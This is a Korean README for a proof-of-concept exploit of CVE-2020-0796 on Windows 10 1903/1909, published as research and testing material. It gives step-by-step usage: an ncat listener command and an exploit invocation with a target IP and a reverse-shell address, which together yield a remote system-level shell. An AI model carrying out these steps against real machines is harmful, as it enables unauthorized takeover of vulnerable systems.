
CVE-2020-0796용 원격 코드 실행 PoC
Python과 ncat이 설치되어 있는지 확인하세요.
대상 컴퓨터에서 calc_target_offsets.bat을 실행하고, SMBleedingGhost.py 파일 상단의 오프셋을 스크립트 출력에 따라 조정하세요(아래 참고 사항도 확인).
ncat을 다음 명령줄 인수와 함께 실행하세요:
ncat -lvp <port>
여기서 <port>는 ncat이 수신 대기할 포트 번호입니다.
SMBleedingGhost.py를 다음 명령줄 인수와 함께 실행하세요:
SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>
여기서 <target_ip>는 취약한 대상 컴퓨터의 IP 주소입니다. <reverse_shell_ip>와 <reverse_shell_port>는 이 수신 대기 중인 IP 주소와 포트 번호입니다.
모든 것이 순조롭다면, ncat은 대상 컴퓨터에 대한 시스템 액세스를 제공하는 셸을 표시합니다.
참고: 대상 컴퓨터에서 calc_target_offsets.bat 스크립트를 실행해야 하는 이유와 이것이 원격 코드 실행이 '원격'이라는 점을 무색하게 만드는 것은 아닌지 궁금할 수 있습니다. 이 오프셋은 임의의 값이 아니며, 동일한 Windows 버전의 모든 Windows 인스턴스에서 동일합니다. 대상 Windows 버전을 감지하여 오프셋을 자동으로 조정하거나 오프셋에 의존하지 않는 방식으로 공격을 더 범용적으로 만들 수 있지만, 이는 단순한 POC이며 더 간단한 방법을 선택했습니다. 또한 POC가 범용적이지 않고 테스트와 교육 외의 용도로는 불편하다는 점을 좋은 일로 봅니다.

Windows 10 버전 1903 및 1909가 영향을 받습니다. 패치되지 않은 Windows 10 1903 버전은 Windows의 null 역참조 버그(KB4512941에서 수정됨)로 인해 지원되지 않습니다.
익스플로잇의 특성상, POC는 단일 논리 프로세서를 사용하는 컴퓨터(또는 VM)에서 실행되는 대상에 가장 잘 작동합니다. VirtualBox에서 실행되는 둘 이상의 논리 프로세서를 가진 대상도 지원되어야 하지만, 이 경우 POC의 신뢰성이 떨어집니다. 다른 대상은 지원되지 않을 수 있습니다. 자세한 내용은 아래 기술 문서를 참조하세요.